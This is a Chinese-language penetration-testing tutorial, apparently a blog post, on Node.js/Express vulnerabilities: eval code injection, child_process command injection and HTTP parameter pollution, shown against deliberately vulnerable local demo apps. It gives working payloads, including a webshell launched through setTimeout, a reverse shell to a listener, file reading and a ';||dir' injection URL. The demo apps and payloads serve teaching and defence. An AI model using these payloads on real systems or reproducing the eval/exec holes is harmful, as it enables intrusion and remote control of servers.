0x00 前言
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node 是一个让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。因为在之前并没有了解过nodejs的所产生的安全问题,本文将以node.js框架express
为例,浅析nodejs安全问题。
0x01 环境搭建
本次测试使用express框架,环境搭建很简单,只需新建一个工作目录,然后执行npm install expres –save
,即可使用express
。
演示代码如下test.js
1
2
3
4
5
6
7var express = require('express');
var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output</br>'+resp);
});
app.listen(8001);
然后执行node test.js
即可在本地8001
端口启动一个简单的web应用程序。
0x02 信息收集
在渗透测试过程种,对目标的渗透必要要经过信息收集以获取更过的信息来定制下一步的行动计划。对Node.js应用的渗透也要经过信息收集,以确定目标是否使用了Node.js。收集过程中重点留意cookies, name[“connect.sid”],server以及 X-powered-By 等头信息。如在前面搭建起的环境种,X-powered-By
头暴露了目标使用express
框架。
此外,程序运行时意外的报错信息也能帮助获取更多的信息,当然,一个大型的项目很少会出现这种报错。
但在上面的demo中,输入的input中带有一些特殊字符时将触发报错。
在得知目标为Node.js
应用后,便可以进行进一步的利用。
0x03 漏洞利用
服务端代码执行
在前面的demo中,通过get传入的参数未经任何过滤而直接进入到eval()
函数中执行,此处便存在代码执行漏洞。
下面是可以用于测试的一些payload
1 | process.arch |
甚至可以传入process.exit()
终止程序的运行。
读取文件require('fs').readFileSync('test.js').toString()
获取webshell1
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8003); }, 3000)
这里传入setTimeout
函数,三秒后在8003端口启动一个webshell。(延时时间最好大于1s,否则可能执行失败)
成功执行命令,可以看到setTimeout
也可以执行任意代码,所以会任何进入系统函数的用户输入都是不安全的,在测试过程不仅要注意eval
函数,还要注意setTimeuut
setInterval
等系统函数。
获取反弹shell
payload1
function rev(host,port){var net = require('net');var cp = require('child_process');var cmd = cp.spawn('cmd.exe', []);var client = new net.Socket();client.connect(port, host, function(){client.write('Connected\r\n'); client.pipe(cmd.stdin); cmd.stdout.pipe(client);cmd.stderr.pipe(client);client.on('exit', function(code,signal){ client.end('Disconnected\r\n'); } );client.on( 'error',function(e){ setTimeout( rev(host,port), 5000); })});};rev('127.0.0.1', 1234);
这里也可使用nodejsshell.py生成编码后的nodejs代码
输入监听的ip 端口
执行生成的payload
nc成功监听到返回的shell
目标为Linux主机可以返回/bin/bash
,windows下可以返回cmd.exe
,可以在生成代码的第36行进行修改
远程命令执行
Node.js
的远程命令执行主要是由于没有正确使用child_process
模块造成的,该模块可以创建一个新的进程进来执行系统命令。1
2
3
4
5
6
7
8
9
10
11
12
13
14var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 2 ' + parsedUrl.query.ping, function (err, data)
{
response.write("Hello "+ data);
response.end();
});
}).listen(8888);
上面的demo中使用了child_process
模块的exec函数来进行系统交互来执行ping
命令。但是由于没有正确过滤传入的参数,从而造成任意系统命令执行。
正常服务
执行任意命令http://127.0.0.1:8888/?ping=www.baidu.com;||dir
HTTP参数污染
这是Node.js
一个比较独特的特性,允许一个参数有多个值传入,当对一个参数传入多个值时,中间会以逗号,
进行拼接。
比如上面的demo中,我们传入两个ping值
这个特性可能会引起参数解析漏洞或者在绕过waf时提供思路。
0x04 防护
在给出的Node.js
不安全的demo中,可以明显的看出,同其他语言一样,所有未加过滤的用输入都是不安全的,所以在开发过程中应时刻注意对用户输入做适当的处理,令附node.js安全开发的一些参考https://www.cnblogs.com/qingmingsang/articles/10397870.html
0x05 参考链接
https://bbs.ichunqiu.com/thread-24807-1-1.html
https://www.jianshu.com/p/8253adac33d8